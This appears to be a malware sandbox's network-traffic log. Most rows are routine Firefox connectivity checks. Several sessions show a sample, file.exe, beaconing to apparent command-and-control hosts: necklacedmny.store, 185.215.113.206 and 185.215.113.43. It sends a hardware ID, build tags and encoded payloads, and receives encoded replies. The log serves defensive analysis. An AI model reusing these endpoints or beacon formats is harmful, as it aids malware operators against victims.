Nov 1, 2024 00:40:01.087735891 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:01.212557077 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52442 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:01.542406082 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:01.666582108 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52442 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:01.703990936 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:01.828521967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52442 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:02.365513086 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:02.490297079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52443 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:06.808969975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:06.954525948 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52447 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:16.999883890 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:40:18.043812037 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:18.170418024 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52459 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:28.205651045 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:40:29.999504089 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:30.126528978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52471 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:30.669397116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:30.795725107 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52471 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:40.030220985 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:40.156156063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52481 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:00.632220984 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50116	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:00.914773941 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50122	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:01.089721918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50123	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:01.256208897 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50124	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:01.675488949 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	50126	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:01.917172909 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	50127	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:01.930203915 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:40:02.867063999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50128	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:02.501046896 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:03.099447012 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29438 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:40:06.957463026 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:07.083728075 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29442 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:40:17.100992918 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:40:18.178572893 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:18.305588961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29453 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:40:28.306766987 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:40:30.129877090 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:30.256253004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29465 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:40:30.808785915 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:30.933933020 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29465 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:40:40.170722961 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:40:40.299738884 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29475 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50129	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:03.583926916 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:40:04.491142035 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:40:04.493669987 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="hwid"62937520F30F807656615------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="build"tale------FBGCAAAAFBKEBFHJEGCF--
Nov 1, 2024 00:40:04.774874926 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50130	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:04.506007910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:40:05.429092884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 23:38:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 23:38:03 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=386j43msdqei33puebac176d56; expires=Mon, 24-Feb-2025 17:24:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lNZMcv1wKxIHOYBZAXe1Gd%2FjWWW6bzUikhfm9hbd6xSJnDZ9RnbcU6sIn7%2FG%2FezyQClVigvrAu1%2FLijnhObF%2BAe%2BUj7VlmxWmFuL5caLZkoda2CzI7xuk56QOv8PBGtOwepOe0s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db779f88ef6ddae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2569653&cwnd=32&unsent_bytes=0&cid=10af3d516636ec18&ts=825&x=0"
2024-10-31 23:38:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 23:38:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.96.3	443	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 23:38:04 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 23:38:04 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1lh9qhsgi8krbtbtnv9h1bf70g; expires=Mon, 24-Feb-2025 17:24:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F0dW6UpYzjv63UGkz2icM7PwLt03ZhM4uF%2FQ2LSOpQJVrVLfvg1bUwCZ33hEsPK2cvjub%2FKrHRJzL45VrX%2FupwjJexghHNyy5r8mQrK3Jw0rmN8QuvYOK4Ptzb56VU4hG%2Bt1Y8g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77a013ef50c0f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1427&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2092485&cwnd=67&unsent_bytes=0&cid=d820b494aa369683&ts=485&x=0"
2024-10-31 23:38:04 UTC	353	IN	Data Raw: 34 34 36 63 0d 0a 50 55 50 41 6a 7a 56 30 35 4d 71 51 66 38 50 59 37 51 76 71 55 4f 4c 6e 5a 2f 4c 67 7a 59 65 52 52 79 53 77 76 46 6d 66 4a 2b 39 47 59 62 61 74 44 30 44 49 36 4f 4d 61 34 65 4b 5a 65 5a 38 31 7a 73 55 47 6c 73 4c 33 34 66 41 72 56 39 57 51 65 2b 6c 4b 7a 51 63 6c 6f 65 4e 47 45 63 6a 6f 39 51 66 68 34 72 5a 77 79 44 57 4d 78 56 33 51 68 61 66 6c 38 43 74 47 30 64 63 32 37 30 75 4d 56 53 2b 6e 35 31 41 58 67 4b 76 38 45 71 61 39 69 47 71 41 50 6f 75 4b 44 35 2f 43 34 61 58 30 50 51 61 4b 6e 68 54 36 55 34 35 77 49 72 50 6b 46 77 6e 49 73 62 49 61 72 66 72 58 4b 59 73 31 67 49 73 42 6c 6f 75 6c 37 2f 6b 6a 52 39 54 57 4b 66 5a 42 68 31 55 68 70 4f 5a 61 48 70 53 6d 39 68 57 74 75 34 4a 71 79 48 7a 41 67 68 33 51 32 75 2b 32 77 53 5a 58 77 Data Ascii: 446cPUPAjzV05MqQf8PY7QvqUOLnZ/LgzYeRRySwvFmfJ+9GYbatD0DI6OMa4eKZeZ81zsUGlsL34fArV9WQe+lKzQcloeNGEcjo9Qfh4rZwyDWMxV3Qhafl8CtG0dc270uMVS+n51AXgKv8Eqa9iGqAPouKD5/C4aX0PQaKnhT6U45wIrPkFwnIsbIarfrXKYs1gIsBloul7/kjR9TWKfZBh1UhpOZaHpSm9hWtu4JqyHzAgh3Q2u+2wSZXw
